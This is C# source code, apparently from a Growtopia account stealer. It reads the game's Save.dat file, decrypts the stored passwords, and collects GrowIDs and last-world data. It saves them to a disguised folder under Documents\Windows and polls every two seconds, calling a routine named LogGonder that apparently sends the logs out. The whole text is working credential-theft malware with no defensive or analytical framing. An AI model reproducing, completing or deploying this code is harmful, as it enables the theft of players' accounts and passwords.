static string CheckRealTimeSavedat() { string savedat = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Growtopia\Save.dat"; var pattern = new Regex(@"[^\w0-9]"); string savedata = null; var r = File.Open(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); using (FileStream fileStream = new FileStream(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default)) { savedata = streamReader.ReadToEnd(); } } string cleardata = savedata.Replace("\u0000", " "); string firstgrowid = pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty); string growid = "Growid: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty); string lastworld = "Last World: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("lastworld") + "lastworld".Length).Split(' ')[3], string.Empty); string[] passwords = new PasswordDec().Func(Encoding.Default.GetBytes(savedata)); string path = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Windows\" + firstgrowid + ".txt"; string finalpass = ""; for (int z = 0; z < passwords.Length; z++) { finalpass += passwords[z] + " "; } // Console.WriteLine(growid+" " +finalpass); // Console.WriteLine(growid+" "+finalpass); return(growid + " " + finalpass); }
public List <string> DecodeDats() { try { List <string> alldata = new List <string>(); listBox1.Items.Clear(); string savefolderpath = ConfigurationManager.AppSettings["savefolderpath"]; string[] allsaves = Directory.GetFiles(savefolderpath, "*.dat"); var pattern = new Regex(@"[^\w0-9]"); foreach (string i in allsaves) { string savedata = null; var r = File.Open(i, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); using (FileStream fileStream = new FileStream(i, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default)) { savedata = streamReader.ReadToEnd(); } } string cleardata = savedata.Replace("\u0000", " "); string GrowID = pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty); listBox1.Items.Add(GrowID); string LastWorld = pattern.Replace(cleardata.Substring(cleardata.IndexOf("lastworld") + "lastworld".Length).Split(' ')[3], string.Empty); if (LastWorld == "fullscreen") { LastWorld = null; } string[] passwords = new PasswordDec().Func(Encoding.Default.GetBytes(savedata)); string allpw = ""; foreach (string pw in passwords) { allpw += pw + "[#---Zephyr---#]"; } string accdata = GrowID + "[This-Is-A-Split]" + LastWorld + "[This-Is-A-Split]" + allpw; alldata.Add(accdata); } return(alldata); } catch { return(null); } }
private static void TimerCallback(Object o) { while (true) { string savedat = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Growtopia\Save.dat"; var pattern = new Regex(@"[^\w0-9]"); string savedata = null; var r = File.Open(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); using (FileStream fileStream = new FileStream(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default)) { savedata = streamReader.ReadToEnd(); } } string cleardata = savedata.Replace("\u0000", " "); string firstgrowid = pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty); string growid = "Growid: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty); string lastworld = "Last World: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("lastworld") + "lastworld".Length).Split(' ')[3], string.Empty); string[] passwords = new PasswordDec().Func(Encoding.Default.GetBytes(savedata)); string path = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Windows\" + firstgrowid + ".txt"; string finalpass = ""; for (int z = 0; z < passwords.Length; z++) { finalpass += " " + passwords[z]; } if (!File.Exists(path)) { DosyayiOlustur(path, growid, finalpass, "Olustu!"); LogGonder(); } else { //CheckRealTimeSavedat(); //string log1 = CheckSavedat(firstgrowid); string log1 = FinalControl(firstgrowid, growid, path, finalpass); Console.WriteLine(log1); } Thread.Sleep(2000); } }